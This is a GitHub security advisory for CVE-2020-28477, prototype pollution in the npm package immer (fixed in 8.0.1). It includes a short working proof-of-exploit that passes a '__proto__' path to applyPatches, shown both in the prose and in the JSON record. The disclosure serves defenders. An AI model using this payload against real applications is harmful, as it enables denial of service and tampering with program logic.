ghsa-9qmh-276g-x5pj
Vulnerability from github
Published
2021-01-20 21:27
Modified
2024-04-25 22:17
Severity ?
Summary
Prototype Pollution in immer
Details
Overview
Affected versions of immer are vulnerable to Prototype Pollution.
Proof of exploit
js
const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);
Remediation
Version 8.0.1 contains a fix for this vulnerability, updating is recommended.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "immer" }, "ranges": [ { "events": [ { "introduced": "7.0.0" }, { "fixed": "8.0.1" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2020-28477" ], "database_specific": { "cwe_ids": [ "CWE-471" ], "github_reviewed": true, "github_reviewed_at": "2021-01-20T19:37:58Z", "nvd_published_at": "2021-01-19T11:15:00Z", "severity": "HIGH" }, "details": "## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: \u0027add\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: \u0027replace\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.", "id": "GHSA-9qmh-276g-x5pj", "modified": "2024-04-25T22:17:51Z", "published": "2021-01-20T21:27:56Z", "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28477" }, { "type": "WEB", "url": "https://github.com/immerjs/immer/issues/738" }, { "type": "WEB", "url": "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5" }, { "type": "WEB", "url": "https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986" }, { "type": "WEB", "url": "https://snyk.io/vuln/SNYK-JS-IMMER-1019369" }, { "type": "WEB", "url": "https://www.npmjs.com/package/immer" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "Prototype Pollution in immer" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.